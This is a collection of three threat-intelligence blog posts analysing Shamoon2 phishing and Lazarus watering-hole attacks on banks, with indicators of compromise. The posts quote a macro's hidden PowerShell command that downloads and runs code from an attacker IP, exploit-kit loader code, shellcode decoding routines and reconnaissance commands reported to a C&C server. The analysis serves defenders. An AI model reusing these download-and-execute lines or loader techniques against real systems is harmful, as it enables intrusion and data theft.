Additional Insights on Shamoon2 arbornetworks.com/blog/asert/additional-insights-shamoon2/ 2/21/2017 By Neal Dennis on 02/21/2017. Posted in analysis, attack lifecycle, Interesting Research, Malware, threat analysis. IBM analysts recently unveiled a first look at how threat actors may have placed Shamoon2 malware on systems in Saudi Arabia. Researchers showcased a potential malware lifecycle which started with spear phishing and eventually led to the deployment of the disk-wiping malware known as Shamoon. Their research showcased a set of downloaders and domains that could potentially lead to a more extensive malware distribution campaign. While researching elements in the IBM report, ASERT discovered additional malicious domains, IP addresses, and artifacts. The basic functionality of the new documents and their PowerShell components matched what was previously disclosed. For more information on the overall capabilities of the malware, please review IBM s ongoing research. It is our hope that by providing additional indicators, end-point investigators and network defenders will be able to discover and mitigate more Shamoon2 related compromises. Initial Discoveries The following new samples were likely delivered via similar spear phishing campaigns as described in IBM research. All three shared the same IPs and URLs, also provided below. These samples were located by pivoting on document attributes. In this case, a sample from the IBM report indicated the document author gerry.knight which led us to the following three additional samples. MD5 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 104.218.120[.]128 69.87.223[.]26 5.254.100[.]200 URLs analytics-google[.]org:69/checkFile.aspx analytics-google[.]org 69.87.223[.]26:8080/p The following is a screenshot of a macro-enabled document captured from sample 5e5ea1a67c2538dbc01df28e4ea87472: Once enabled the extracted macro executed the following: powershell.exe -w hidden -noni -nop -c iex(New-Object System.Net.WebClient).DownloadString(\ http://69.87.223.26:8080/p\ Pivoting on Passive DNS From the previous samples, we performed a passive DNS lookup on the IPs. We found get.adobe.go-microstf[.]com hosted at 104.218.120[.]128 around the time this campaign was ongoing, November 2016. Researching the domain go-microstf[.]com, hosted at 45.63.10[.]99, revealed yet another iteration of malicious executables. In this case, a URL used to download the PowerShell component shared a naming convention found in the IBM report, http://69.87.223[.]26:8080/eiloShaegae1 and connected to the IP address used by the previous three samples. The following are IOCs related to this domain: 83be35956e5d409306a81e88a1dc89fd 45.63.10[.]99 69.87.223[.]26 URLs go-microstf[.]com 69.87.223[.]26:8080/eiloShaegae1 go-microstf[.]com/checkfile.aspx The domain go-microstf[.]com was originally set up to spoof Google Analytics login page. The following screenshot is from the malicious domain: Possible Connections to Iranian state-sponsored Kittens Finally, research yielded a relatively unique sample. This particular iteration was submitted to VirusTotal on September 16, 2016. The majority of samples analyzed to date were submitted no earlier than mid-October, with most being submitted in January 2017 or later. We were able to discover this particular version by diving further into connections to analytics-google[.]org. Unlike newer samples, this one created a unique file sloo.exe . The file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe. In addition to this file, the sample also contacted 104.238.184[.]252 for the PowerShell executable. Researchers at Palo Alto have attributed sloo.exe and related activities to threat actors of a likely Iranian statesponsored origin which they ve named Magic Hound. The group Magic Hound is linked via infrastructure and tools to the Rocket Kitten threat actor group although Palo Alto cannot confirm the extent of any relationship between the two groups. Dell Secureworks analysts recently concluded that domains discussed in the IBM report were linked to the Iranian PuppyRAT. In addition, Dell analysts have assessed with high-confidence these activities are attributable to Iranian state-sponsored activities. IOCs for this version were: 07d6406036d6e06dc8019e3ade6ee7de 104.238.184[.]252 5.254.100[.]200 URLs analytics-google[.]org:69/checkFile.aspx Conclusion These additional IOCs will hopefully provide more context into the ongoing threat. The link to possible Iranian threat actors supports ongoing analysis that Shamoon2 was perpetrated by Iranian state-sponsored threat actors. The last sample discussed may be malware-0 or at least part of the overall development and subsequent deployment of tools used to install Shamoon on Saudi systems. Consolidated IOC list: 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 83be35956e5d409306a81e88a1dc89fd 07d6406036d6e06dc8019e3ade6ee7de 104.218.120[.]128 69.87.223[.]26 5.254.100[.]200 45.63.10[.]99 104.238.184[.]252 URLs analytics-google[.]org:69/checkFile.aspx analytics-google[.]org 69.87.223[.]26:8080/p go-microstf[.]com 69.87.223[.]26:8080/eiloShaegae1 get.adobe.go-microstf[.]com go-microstf[.]com/checkfile.aspx Tags: disk wiper, IOCs, Iran, Saudi Arabia, Shamoon, Shamoon2 Lazarus False Flag Malware baesystemsai.blogspot.co.uk/2017/02/lazarus-false-flag-malware.html Written by Sergei Shevchenko and Adrian Nish BACKGROUND We continue to investigate the recent wave of attacks on banks using watering-holes on at least two financial regulator websites as well as others. Our initial analysis of malware disclosed in the BadCyber blog hinted at the involvement of the 'Lazarus' threat actor. Since the release of our report, more samples have come to light, most notably those described in the Polish language niebezpiecznik.pl blog on 7 February 2017. MD5 hash Filename Compile Time File Info Submitted 9216b29114fb6713ef228370cbfe4045 srservice.chm 8e32fccd70cec634d13795bcb1da85ff srservice.hlp e29fe3c181ac9ddbb242688b151f3310 srservice.dll 2016-10-22 08:08 Win64 DLL 78 KB 2017-01-28 11:58 9914075cc687bdc352ee136ac6579707 fdsvc.exe 2016-08-26 04:19 Win64 EXE 60 KB 2017-02-05 15:14 9cc6854bc5e217104734043c89dc4ff8 fdsvc.dll 2016-08-26 04:11 Encrypted 470 KB 2017-02-05 15:15 Of the hashes provided, only three samples could be found in public malware repositories. All three had been submitted from Poland in recent weeks. In the analysis section below we examine these and the false flag approach employed by the attackers in order to spoof the origin of the attack. The same false flag approach was also found in the SWF-based exploit mentioned in our previous blogpost: MD5 hash Filename File Info Submitted 6dffcfa68433f886b2e88fd984b4995a cambio.swf Adobe Flash 2016-12-07 23:15 Here we ll analyse these files as well as shed further light on the watering-hole exploit kit code itself, in the hope this aids further detection and network defence. ANALYSIS Sample #1 srservice.chm 1/17 Most likely, this file is an encrypted backdoor that is decrypted and injected by DLL loader. The filename srservice.chm is consistent with the method in which a known Lazarus toolkit module constructs CHM and HLP file names: %SYSTEMROOT%\Help\%MODULE_NAME%.chm %SYSTEMROOT%\Help\%MODULE_NAME%.hlp Sample #2 srservice.hlp Most likely, this file is an encrypted configuration file, which is decrypted and loaded by the sample #1 (srservice.chm). Sample #3 srservice.dll This DLL loads, decrypts and injects the 'CHM' file into the system lsass.exe process. Sample #4 fdsvc.exe This file is a command line tool that accepts several parameters such as encrypted file name and process ID. The tool reads and decrypts the specified file, and then injects it into the specified process or into the system process explorer.exe. The encryption consists of a running XOR, followed with RC4, using the 32-byte RC4 key below: A6 EB 96 00 61 B2 E2 EF 0D CB E8 C4 5A F1 66 9C A4 80 CD 9A F1 2F 46 25 2F DB 16 26 4B C4 3F 3C Sample #5 fdsvc.dll The file fdsvc.dll is an encrypted file, successfully decrypted into a valid DLL (MD5: 889e320cf66520485e1a0475107d7419) by the aforementioned executable fdsvc.exe. Once decrypted, it represents itself as a bot that accepts the C&C name and port number(s) as a string parameter that is used to call the DLL. The parameter is encoded with an XOR loop that includes XOR key cEzQfoPw. Multiple C&C servers can be delimited with the ' |' character and port numbers are delimited from the C&C servers with the ':' character. Once the bot has established communication with the remote C&C, it uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands, such as: 2/17 Word State/Backdoor Command "Nachalo" start communication session "ustanavlivat" handshake state "poluchit" receive data "pereslat" send data "derzhat" maintain communication session "vykhodit" exit communication session The binary protocol is custom. For example, during the "ustanavlivat" (handshake) mode, the bot accepts 4 bytes, which are then decrypted. The decryption is a loop that involves multiple XOR operations performed over the received data. Once decrypted, the 4 bytes indicate the size of the next data chunk to be received. The next received data chunk is also decrypted, and its contents checked to see whether it's one of the backdoor commands. For example, the "poluchit" command instructs the bot to receive the file, and the "pereslat" (send) command instructs the bot to upload the file. The received "poluchit" command may also contain a URL, marked with another transliterated Russian word "ssylka" (link). In this case, the remote file is fetched in a separate thread. If a received data chunk contains the command "vykhodit", the bot quits its backdoor loop. The bot implements the SSL/TLS protocol, and is based on a source code of "Curl v7.49.1". Hence, it is able to transfer files via HTTP, HTTPS, FTP, SMTP and many other protocols, with full support of user/password authentication (Basic, Digest, NTLM, Negotiate, Kerberos), proxies and SSL certificates. Russian language used in fdsvc.dll In spite of some 'Russian' words being used, it is evident that the malware author is not a native Russian speaker. Of our previous examples, five of the commands were likely produced by an online translation. Below we provide the examples and the correct analogues for reference: Word Type of error Correct analogue "ustanavlivat" omitted sign at the end, verb tense error "ustanovit'" or "ustanoviti" "poluchit" omitted sign at the end "poluchit'" or "poluchiti" "pereslat" omitted sign at the end "pereslat'" or "pereslati" "derzhat" omitted sign at the end "derzhat'" or "derzhati" 3/17 "vykhodit" omitted sign at the end, verb tense error "vyiti" Another example is "kliyent2podklyuchit". This is most likely a result of an online translation of "client2connect" (which means 'client-to-connect'). In this case, the two words "client" and "connect" were translated separately, then transliterated from the Russian pronunciation form into the Latin alphabet and finally joined to produce "kliyent2podklyuchit". Such a result may look impressive to the bot's author, but would be difficult to understand for native Russian speakers. Here we provide an example of translating the word "client" in Russian - the word "kliyent" here only demonstrates phonetic pronunciation, not how it's actually written in a transliterated form. When formed using the Latin alphabet, it would actually be written "client" or "klient". Due to such inconsistencies, we conclude that the Russian language is likely used as a decoy tactic, in order to spoof the malware s country of origin. Sample #6 cambio.swf During the investigation of the watering-hole incident, the owner of a compromised website shared with us a malicious implant that was added into the site, presumably by using an exploit against JBoss 5.0.0. The script is called view_jsp.java and is accessed from the watering-hole website as view.jsp. This script is responsible for serving cambio.swf. The infection starts from a primary web site being compromised so that its visitors are redirected into a secondary website, calling its view.jsp script from an added IFrame. The initial request contains parameter pagenum set to 1, such as: "GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1" This begins the profiling and filtering to identify potential victims. For example, the script then checks to see if the 4/17 client's IP is black-listed. If so, such initial request is rejected. Next, the script checks if the client s IP is white-listed (i.e. targeted). If not white-listed, it is also rejected. Hence, unless the visitor s IP is on the attackers list, the script will not attempt to infect their machine. This helps the infected websites stay undetected for relatively long period of time, as they only serve exploits to the selected targets. In the next stage of the script, it builds and serves back to the client an HTML page with an embedded JavaScript that detects the type of client s browser (Internet Explorer, Google Chrome, Firefox, Safari, or Opera), OS version, and the loaded plugins, such as Adobe Flash and Microsoft Silverlight. The script executed on a client side then builds a form, and submits it back to the gateway script, as shown below: The submitted form specifies the pagenum parameter to be set to 2, to advance the script to the next step: 5/17 Once the script accepts the incoming request and finds the form's pagenum value is 2, it reads other fields from the submitted form and decides which exploit to serve back to the client. At the time of writing, the exploit kit known to serve back two exploits, for Adobe Flash and Microsoft Silverlight, though these could be expanded upon as needed. The exploits can be individually enabled or disabled by the attackers with the standalone file config.dat. For example, to enable both exploits (flag=1), the contents of this file can be set to: 2016-0034:1 0000-0001:1 where 2016-0034 identifies the Silverlight exploit, and 0000-0001 is the Flash exploit. If the script detects that the submitted form contains a non-empty version of Silverlight browser plugin, it will generate and serve back a Silverlight exploit. If the submitted form has a non-empty version of Adobe Flash browser plugin, the script will generate and serve back the Flash exploit. If the client has both plugins loaded within the browser, then the script will serve the Flash exploit only. NOTE: the script only serves the Flash exploit if the browser is Internet Explorer. The exploits are generated by the functions: genExp_20160034() to generate Silverlight exploit genExp_00000001() to generate Flash exploit The latter is explained in further detail below. First, the script builds URL string named as download_url: String PARAMNAME_UID = "uid"; 6/17 String PARAMNAME_PAGENUM = "pagenum"; String PARAMNAME_EXPLOITID = "eid"; String PARAMNAME_STATUS = "s"; String PARAMNAME_DATA = "data"; download_url = request.getRequestURL() "?" + PARAMNAME_UID + "=" + uid + "&" + PARAMNAME_PAGENUM + "=3" + "&" + PARAMNAME_EXPLOITID + "=" + exploit.get("eid"); download_url = download_url + "&" + PARAMNAME_STATUS + "=2" + "&" + PARAMNAME_DATA + "="; For example, the URL string may look like: http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data= Note that the pagenum parameter of the URL has now advanced to 3 (third step of the view.jsp execution). This URL string will be embedded by the genExp_00000001() function into the body of the shellcode. The output of the genExp_00000001() function is JavaScript that has the following format this script will be executed inside the client's browser: var laskfji = 'PGh0bWw+..'; // long string here asdlfkj = function(s) { // base64-decode string s 7/17 var polkio = asdlfkj(laskfji); var poikea = 'document.write(polkio);'; eval(poikea); Once the string s is base64-decoded by client-based JavaScript, it will look like a Flash object embedded into HTML: 8/17 As seen in the Flash object parameters, the SWF object is served from the website s path: include/cambio.swf However, the SWF object is also accompanied with 2 extra parameters: SWF Parameter Value "shell" 558BEC83EC388D45C8C745F... "Health" polki89jdm#ks@ By looking into the decompiled cambio.swf file, its ActionScript reveals that the SWF file indeed expects 2 parameters: Health and shell. The value of Health is used as an XOR key to decode the binary blob orinBin, which is included in the SWF file. This blob is then loaded with loadBytes(), as shown below: objLoader = new Loader(); this.params = loaderInfo.parameters; var key:String = params["Health"] as String; var pShell:String = params["shell"] as String; var objShellData:SharedObject = SharedObject.getLocal("Exp_Data"); objShellData.clear(); objShellData.data.shell = pShell; objShellData.flush(); var blob:ByteArray = new orinBin() as ByteArray; var i:int = 0; while(i < blob.length) 9/17 blob[i] = blob[i] ^ key.charCodeAt(i % key.length); i++; blob.position = 0; objLoader.contentLoaderInfo.addEventListener("complete",fncomp); objLoader.loadBytes(blob); Below is the binary blob orinBin as seen within the SWF file: By knowing the value of Health parameter, it is now possible to use it as an XOR key to decode the orinBin blob within the SWF code. Once decrypted, the orinBin blob presents another SWF file. This time, it contains 3 encrypted blobs within: bin22, bin23, and bin24 seen below: The code decrypts the blobs with RC4, using "littleEndian" as the RC4 key. These blobs also turn out to be SWF files that contain the SWF exploit code. Internally, the ActionScript also uses transliterated Russian words, similar to the tactic seen in the bot code: Transliterated Russian words used in AS Translated from Russian Podgotovkaskotiny Preparation of farm animals 10/17 geigeigei3raza Hey, hey, hey 3 times chainik Dummy (a stupid person) chainikaddress Dummy's address poishemdatu s search for data poiskvpro Searching in 'pro' vyzov_chainika Calling the dummy (a stupid person) daiadreschainika Get address of the dummy runskotina Execute farm animals babaLEna Old woman Lena As seen in the table, while the words are technically Russian, their usage is out-of-context. In one code fragment, the ActionScript contains both "chainik" and "dummy": private function put_dummy_args(param1:*) : return chainik.call.apply(null,param1); private function vyzov_chainika() : * return chainik.call(null); As such, it is obvious that the word "dummy" has been translated into "chainik". However, the word "chainik" in Russian slang (with the literal meaning of "a kettle") is used to describe an unsophisticated person, a newbie; while, the word "dummy" in the exploit code is used to mean a "placeholder" or an "empty" data structure/argument. In the same way, it is likely the word "farm animals" was originally used to represent "a beast". Yet, it has been translated into a word that is only synonymous to "the beast" in a certain context. As a result, they have used the words "farm animals" across the shellcode instead of "beast"; which makes little sense. 11/17 As in the case of sample #5 ( fdsvc.dll), it is likely that this loose Russian translation, evidently performed by a non-Russian speaker, is intended to spoof the malware origin. Shellcode The SWF's ActionScript then loads and executes the shellcode that was passed to the SWF file. As with the Health parameter, by having access to the server-side code it is now possible to analyse what shellcode has been served to be executed via SWF file. The shellcode consists of 2,372 bytes of a Win32-code (in fact, 2,369 bytes padded with three zero bytes to make it 4-byte aligned). The shellcode passed via the shell parameter consists of two parts: The first part of the shellcode (818 bytes) creates a hidden process of notepad.exe. It then injects the second part of the shellcode into it using the VirtualAlloc() and WriteProcessMemory() APIs, and finally it runs the injected code with CreateRemoteThread() API. The second part of the shellcode (1,551 bytes) is encoded with XOR 0x57: seg000:00000316 ecx, 1551 ; counter seg000:0000031B ebx, 57h ; XOR key seg000:00000320 loop: seg000:00000320 seg000:00000322 counter ; decrement seg000:00000323 ; advance pointer seg000:00000324 test ecx, ecx seg000:00000326 short loop [eax], ebx It's worth noting that both parts of the shellcode load the APIs similarly to all other tools from the Lazarus toolset, e.g.: urlmon_dll = 'mlrU'; // Urlm urlmon_dll_4 = 'd.no'; // on.d 12/17 urlmon_dll_8 = 'll'; // ll URLDownloadToFileW = 'DLRU'; // URLD URLDownloadToFileW_4 = 'lnwo'; // ownl URLDownloadToFileW_8 = 'Tdao'; // oadT URLDownloadToFileW_12 = 'liFo'; // oFile URLDownloadToFileW_16 = 'We'; hLib = LoadLibrary(&urlmon.dll); ptr[8] = (*(int)ptr[4])(hLib, // eW // ptr[4]->GetProcAddress &URLDownloadToFileW); Once decoded, the second part of the shellcode reads the URL embedded at the end, then downloads and saves a file under a temporary file name, using the prefix "tmp". Next, it reads the temporary file into memory, decrypts it with the following XOR loop, starting from the 318th byte: for (i = 317; i < file_size; ++i ) buffer[i] ^= 0xCC ^ ((buffer[i] ^ 0xCC) >> Next, it makes the decoded data executable by assigning it PAGE_EXECUTE_READWRITE memory protection mode, and calls it, as shown below: (*(void)(ptr[68]))(buffer + 318, // ptr[68]->VirtualProtect file_size - 318, PAGE_EXECUTE_READWRITE, &oldProtect); ((void (*)(void))(buffer + 318))(); // skip the first 318 bytes // CALL from the 318th byte 13/17 This way, the 2nd part of the shellcode downloads a binary from the same gateway script as before. pagenum=3 means it's a 3rd step a step of serving the next chunk of the shellcode. To understand the next step we need to go back to the gateway script to see how it processes the pagenum=3 request. When the script receives a pagenum=3 request, it checks the 's' URL parameter ('status'). Initially, this parameter is set to 2 ('s=2', as seen in the aforementioned URL embedded into the SWF exploit). Thus, the script will read and output the contents of 2 files stored on the web server: files/mark180789172360.ico files/back283671047171.dat The first file is likely a valid ICO file, is 318 bytes in size, and its contents are not encoded (hence the reason why the shellcode skips the first 318 bytes, and only decodes the rest). The second file is a 3rd chunk of the shellcode, and its contents are encoded. In addition to these 2 files, the output is appended with a URL. This time, it will specify pagenum parameter set to 3, but the status parameter s will now be set to 3. For example, the URL may look like: http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&s=3 The appended URL will then be encoded the same way as the file back283671047171.dat: for (int i = 0; i < len + 9; i++) byte var = b[i]; byte temp = (byte)((var >> 4) & 0x0F); var = (byte)(var ^ temp); var = (byte)(var ^ 0xCC); b[i] = var; This way, the encoded URL becomes an integral part of the 3rd part of the shellcode same way as the 2nd part of the shellcode was appended with a URL. Following that, the script serves back a blob that consists of three parts: files/mark180789172360.ico, not encoded (318 bytes) files/back283671047171.dat, encoded 14/17 download URL, encoded It is served back as a binary file, disguised as an icon file probg[RANDOM].ico, probably in an attempt to bypass network sniffers (in other words, the encrypted shellcode is served appended to a valid icon file): response.setHeader("Accept-Ranges", "bytes"); response.setHeader("Content-Length", String.format("%d", response_len)); response.setHeader("Content-Disposition", "attachment;filename=\"probg" + rand.nextInt(9000) + 10000 + ".ico\""); response.setHeader("Content-Type", "application/octet-stream"); Once this 3rd part of the shellcode is served back to the shellcode that runs on a client side, it will skip the first 318 bytes, decode the rest and execute it. This will invoke another binary download this time identified with the status value of 3 ('s=3'). The new binary is generated by view.jsp script and is almost identical to the 3rd part of the shellcode. The only difference is that the binary blob consists of these files: files/mark180789172360.ico, not encoded (318 bytes), as before files/meml102783047891.dat, encoded The 2nd file is now different, and the URL is no longer appended. The reason why the new binary does not need the URL embedded may be that this binary contains an actual malicious executable, detached, decoded, and executed by the shellcode, thus leading to a full compromise of the victim. Indeed, as seen in the web log below, the last GET request with the pagenum=3 and s=3 parameters is served with a 123,710-byte response large enough to accommodate a PE-executable: "GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1" 200 66148 "POST /[PATH]/view.jsp HTTP/1.1" 200 13991 "GET /[PATH]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data= HTTP/1.1" 200 4642 "GET /[PATH]/view.jsp?uid=30304811&pagenum=3&s=3 HTTP/1.1" 200 123710 NOTE: At the time of analysis, the ICO/DAT files were not available. Hence, their contents remains unknown. Overall Scheme The following scheme illustrates the steps outlined above: 15/17 CONCLUSIONS Here we have analysed further files from the recent watering-hole attacks directed at Polish financial institutions and others. Evidently, the Lazarus group are continuing their campaign targeting banking networks. Their watering-hole mechanism is fairly sophisticated its multiple stages are designed to complicate analysis of its malware distribution, and at the same, stay undetected for as long as possible. Because of the previously disclosed attribution links, the group are also resorting to some trickery. Through reverse-engineering, we can see the use of many Russian words that have been translated incorrectly. In some cases the inaccurate translations have transformed the meaning of the words entirely. This strongly implies that the authors of this attack are not native Russian speakers and, as such, the use of Russian words appears to be a 'false flag'. Clearly the group behind these attacks are evolving their modus operandi in terms of capabilities but also it seems they re attempting to mislead investigators who might jump to conclusions in terms of attribution. APPENDIX A: INDICATORS OF COMPROMISE 16/17 MD5 Hashes 9cc6854bc5e217104734043c89dc4ff8 9914075cc687bdc352ee136ac6579707 e29fe3c181ac9ddbb242688b151f3310 9216b29114fb6713ef228370cbfe4045 8e32fccd70cec634d13795bcb1da85ff 889e320cf66520485e1a0475107d7419 6dffcfa68433f886b2e88fd984b4995a Filenames cambio.swf cambio.xap mark180789172360.ico meml102783047891.dat back283671047171.dat URLs view.jsp?pagenum=1 view.jsp?uid= 17/17 Lazarus & Watering-hole attacks baesystemsai.blogspot.co.uk/2017/02/lazarus-watering-hole-attacks.html On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of attacks directed at Polish financial institutions. The article is brief, but states that "This is by far the most serious information security incident we have seen in Poland" followed by a claim that over 20 commercial banks had been confirmed as victims. This report provides an outline of the attacks based on what was shared in the article, and our own additional findings. ANALYSIS As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial Supervision Authority (knf.gov[.]pl), shown below: From at least 2016-10-07 to late January the website code had been modified to cause visitors to download malicious JavaScript files from the following locations: hxxp://sap.misapor[.]ch/vishop/view.jsp?pagenum=1 hxxps://www.eye-watch[.]in/design/fancybox/Pnf.action Both of these appear to be compromised domains given they are also hosting legitimate content and have done for some time. The malicious JavaScript leads to the download of malware to the victim s device. Some hashes of the backdoor have been provided in BadCyber's technical analysis: 85d316590edfb4212049c4490db08c4b c1364bbf63b3617b25b58209e4529d8c 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae The C&Cs given in the BadCyber analysis were the following IP addresses: 125.214.195.17 196.29.166.218 LAZARUS MALWARE Only one of the samples referenced by BadCyber is available in public malware repositories. At the moment we cannot verify that it originated from the watering-hole on the KNF website but we have no reason to doubt this either. MD5 hash Filename File Info First seen Origin 85d316590edfb4212049c4490db08c4b gpsvc.exe Win32 (736 KB) 2017-01-26 07:46:24 The file is packed with a commercial packer known as 'Enigma Protector'. Once unpacked it drops a known malware variant, which has been seen as part of the Lazarus group s toolkit in other cases over the past year. The unpacked executable takes several command line arguments: -l: list service names, available for its own registration -o: open specified event -t: set specified event -x [PASSWORD] -e [SERVICE_NAME]: drop/install DLL under specified [SERVICE_NAME] -x [PASSWORD] -f [SERVICE_NAME]: recreate the keys that keep the password for the next stage DLL, under the specified [SERVICE_NAME] The provided password's MD5 hash is used as an RC4 password. On top of that, there is one more RC4-round, using a hard coded 32-byte RC4 password: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 Once the data is decrypted with two RC4 rounds, the dropper checks the decrypted data contains a valid 4-byte signature: 0xBC0F1DAD. WATERING HOLE ANALYSIS The attacker content on the compromised sap.misapor[.]ch site was not accessible at the time of writing. However, archived versions of some pages can be found: http://web.archive[.]org/web/20170203175640/https://sap.misapor.ch/Default.html http://web.archive[.]org/web/20170203175641/https://sap.misapor.ch/Silverlight.js The Default.html contains code to load MisaporPortalUI.xap a Silverlight application which likely would contain the malicious first-stage implant. This is unfortunately not available for analysis currently.
Get Microsoft Silverlight
ADDITIONAL WATERING HOLES The eye-watch[.]in domain appears to have been used in watering-hole attacks on other financial sector websites. On 2016-11-08 we observed connections to the site referred from: hxxp://www.cnbv.gob[.]mx/Prensa/Paginas/Sanciones.aspx This is the page for the Comisi n Nacional Bancaria y de Valores (National Banking and Stock Commission of Mexico), specifically the portion of their site that details sanctions made by the Mexican National Banking Commission. This organisation is the Mexican banking supervisor and the equivalent of Poland's KNF. In this instance the site redirected to the following URL: hxxp://www.eye-watch[.]in/jscroll/images/images.jsp?pagenum=1 At the time of writing the compromise is no longer present and no archived versions of the page exist to show where the compromise was located. A further instance of the malicious code appears to have been present on a bank website in Uruguay around 201610-26 when a PCAP of browsing to the website was uploaded to VirusTotal.com. This shows a GET request made to: hxxp://brou.com[.]uy Followed shortly after by connections to: www.eye-watch[.]in:443 Unfortunately, the response was empty and it is not possible to assess what may have been delivered. ADDITIONAL MALWARE AND EXPLOIT ACTIVITY The compromised eye-watch[.]in domain has been associated with other malicious activity in recent months. Below is a list of samples which have used the site: MD5 hash Filename File Info First seen Origin 4cc10ab3f4ee6769e520694a10f611d5 cambio.xap (73 KB) 2016-10-07 03:09:43 cb52c013f7af0219d45953bae663c9a2 svchost.exe Win32 EXE (126 KB) 2016-10-24 12:10:33 1f7897b041a812f96f1925138ea38c46 gpsvc.exe Win32 EXE (126 KB) 2016-10-27 14:29:58 911de8d67af652a87415f8c0a30688b2 gpsvc.exe Win32 EXE (126 KB) 2016-10-28 11:50:15 1507e7a741367745425e0530e23768e6 gpsvc.exe Win32 EXE (126 KB) 2016-11-15 18:20:34 The last 4 samples can loosely be categorised as the same malware variant, however the first sample appears to be a separate exploit (as detailed later). It is worth noting that these samples were all compiled after the domain began being used alongside the knf.gov[.]pl watering-hole. Additionally, the samples uploaded from Poland and Uruguay match with the watering-hole activity observed suggesting this is all part of the same campaign. Despite this potential connection to the Poland bank compromises, the malware is not particularly advanced for example using basic operations to gather system information. The malware attempts to run a series of commands with cmd.exe and then returns the result via the C&C, eye-watch[.]in. These commands are as follows: cmd.exe /c hostname cmd.exe /c whoami cmd.exe /c ver cmd.exe /c ipconfig -all cmd.exe /c ping www.google.com cmd.exe /c query user cmd.exe /c net user cmd.exe /c net view cmd.exe /c net view /domain cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" cmd.exe /c tasklist /svc cmd.exe /c netstat -ano | find "TCP" An example C&C beacon is seen below: GET /design/dfbox/list.jsp?action=What&u=10729854751740 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Host: www.eye-watch[.]in SILVERLIGHT XAP FILE The cambio.xap archive sample (4cc10ab3f4ee6769e520694a10f611d5) does not use eye-watch[.]in as a C&C channel but instead was downloaded from the URL: hxxps://www.eye-watch[.]in/design/fancybox/include/cambio.xap 'cambio' is Spanish for 'change'. The URL is similar to that noted in the BadCyber blog, and the use of an XAP file matches what can be found in the Archive.org cache for the sap.misapor[.]ch site. XAP is a software package format used for Microsoft Silverlight applications. It can be opened as a standard ZIP archive and contains the following files: AppManifest.xaml Shell_siver.dll System.Xml.Linq.dll Together they form a re-packaged exploit for Silverlight based on CVE-2016-0034 (MS16-006) a Silverlight Memory Corruption vulnerability. The exploit has previously been used by several exploit kits including RIG and Angler to deliver multiple crimeware tools. The Shell_siver.dll file contains a compile path: c:\Users\KKK\Desktop\Shell_siver\Shell_siver\obj\Release\Shell_siver.pdb Internally, the code of this DLL loads a 2nd stage library called binaryreader.Exploit as seen below with the XOR-encoded string: byte[] array = new byte[] 115,120,127,112,99,104,99,116,112,117, 116,99,63,84,105,97,125,126,120,101 this.InitializeComponent(); for (int i = 0; i < array.Length; i++) array[i] ^= 17; if (args.get_InitParams().get_Keys().Contains("shell32")) type.InvokeMember("run", 256, null, obj, new object[]) This 2nd stage payload DLL contained within the assembly is 30,720 bytes in size and encoded with XOR 56: Buffer.BlockCopy(Resource1._1, 54, array, 0, 30720); for (int i = 0; i < array.Length; i++) byte b = 56; array[i] ^= b; Once the payload stub is decoded, it represents itself as a PE-image, which is another .NET 4.0 assembly with the internal name binaryreader.dll. This second-stage DLL assembly, binaryreader.dll, is heavily obfuscated. The DLL (MD5 hash: 7b4a8be258ecb191c4c519d7c486ed8a) is identical to the one reported in a malware traffic analysis blog post from March 2016 where it was used to deliver Qbot. Thus it is likely the code comes from a criminal exploit kit which is being leveraged for delivery in this campaign. A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a) was uploaded to VirusTotal from a US IP address in December 2016. IP WHITELISTS When examining the code on the exploit kit website a list of 255 IP address strings was found. The IPs only contained the first 3 octets, and would have been used to filter traffic such that only IPs on that subnet would be delivered the exploit and payload. The IP addresses corresponded to a mix of public and private financial institutions spread across the globe: However, banks in some specific countries feature prominently in the list: Rank Country Count Poland United States Mexico United Kingdom Chile Brazil Peru Colombia Denmark India The prominence of Polish and Mexican banks matches the observation of watering-hole code on sites in both countries. CONCLUSIONS The evidence available is currently incomplete and at the moment we can only conclude the following: There has been a series of watering hole attacks on bank supervisor websites in Poland & Mexico, and a state owned bank in Uruguay in recent months. These leverage Silverlight and Flash exploits to deliver malware. Investigators in Poland have identified known Lazarus group implants on bank networks and associated this with the recent compromise of the Polish Financial Supervision Authority's website. The technical/forensic evidence to link the Lazarus group actors (who we believe are behind the Bangladesh Bank attack and many others in 2016) to the watering-hole activity is unclear. However, the choice of bank supervisor / state-bank websites would be apt, given their previous targeting of Central Banks for Heists even when it serves little operational benefit for infiltrating the wider banking sector. Nonetheless, further evidence to connect together the pieces of this attack is needed, as well as insights into the end-goal of the culprits. We are continuing our analysis of new artefacts as they emerge and may issue further updates in due course. RECOMMENDATIONS We recommend organisations use the indicators provided in Appendix A to update their defensive systems to identify attacks. For compromised legitimate websites we would suggest a minimum 1 month block be placed on the domain. Patches against CVE-2016-0034 should be applied as soon as possible. APPENDIX A - INDICATORS OF ATTACK C&C IP address 125.214.195.17 196.29.166.218 Compromised site knf.gov[.]pl (currently clean) www.cnbv.gob[.]mx (currently clean) brou.com[.]uy (currently clean) sap.misapor[.]ch www.eye-watch[.]in MD5 Hashes c1364bbf63b3617b25b58209e4529d8c 85d316590edfb4212049c4490db08c4b 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1507e7a741367745425e0530e23768e6 911de8d67af652a87415f8c0a30688b2 1f7897b041a812f96f1925138ea38c46 cb52c013f7af0219d45953bae663c9a2 4cc10ab3f4ee6769e520694a10f611d5 